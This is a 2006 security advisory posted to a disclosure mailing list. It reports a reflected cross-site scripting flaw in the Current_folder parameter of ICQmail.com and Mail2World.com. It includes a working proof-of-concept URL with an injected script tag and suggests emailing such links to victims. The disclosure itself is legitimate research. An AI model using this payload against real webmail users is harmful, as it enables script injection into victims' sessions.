[Full-disclosure] Advisory: ICQmail.com & Mail2World.com (ms_inbox.asp Current_folder) XSS vulnerability

--Security Report--
Advisory: ICQmail.com & Mail2World.com (ms_inbox.asp Current_folder) XSS
vulnerability
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Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
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Date: 25/02/06 01:43 PM
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Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: M2W (http://www.mail2world.net)
Version: Current version which runs on these web sites.
About: Via this method remote attacker can make malicious links for clicking and
when victim clicks this links victim's browser would be inject with XSS.
Level: Harmless
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How&Example:
Current_folder variable in ms_inbox.asp did not sanitized properly,
Links in ms_inbox.asp with %3E[XSS] values can bypass script check function.
GET -> http://www.icqmail.com/mail/ms_inbox.asp?Current_folder=%3E[XSS]
EXAMPLE ->
http://www.icqmail.com/mail/ms_inbox.asp?Current_folder=%3E<script>alert('y0!');</script>
So if we post links like these to our victim with a small mail our progress will
be done.
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Timeline:
* 25/02/2006: Vulnerability found.
* 25/02/2006: Contacted with vendor and waiting reply.
--
Original advisory: http://www.nukedx.com/?viewdoc=15

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